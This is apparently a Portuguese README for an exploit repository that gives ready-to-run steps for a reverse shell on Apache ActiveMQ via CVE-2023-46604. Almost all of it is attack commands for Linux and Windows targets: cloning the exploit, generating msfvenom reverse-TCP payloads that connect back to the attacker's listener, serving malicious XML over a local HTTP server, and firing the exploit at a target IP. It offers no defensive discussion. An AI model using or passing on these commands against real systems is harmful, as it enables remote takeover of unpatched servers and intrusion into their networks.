
Alcançando um Exploit de Reverse Shell para Apache ActiveMQ (CVE_2023-46604)
Este exploit se baseia no trabalho fundamental disponível em https://github.com/X1cT34m (https://github.com/X1r0z/ActiveMQ-RCE). Desenvolvemos ainda mais a técnica para obter uma reverse shell utilizando o Metasploit Framework (https://github.com/rapid7/metasploit-framework).
Importante: Altere manualmente o endereço IP (0.0.0.0 na linha 11) nos arquivos XML para o endereço IP onde o payload será gerado. Se você seguir os comandos abaixo, será o seu endereço IP do Listener. Além disso, {IP_Of_Hosted_XML_File} será o seu endereço IP do Listener.
Para alvos Linux/Unix
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f elf -o test.elf
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-linux.xml
Para alvos Windows
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f eXE -o test.exe
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-windows.xml



Um agradecimento especial a https://github.com/Anon4mous por me apoiar ativamente.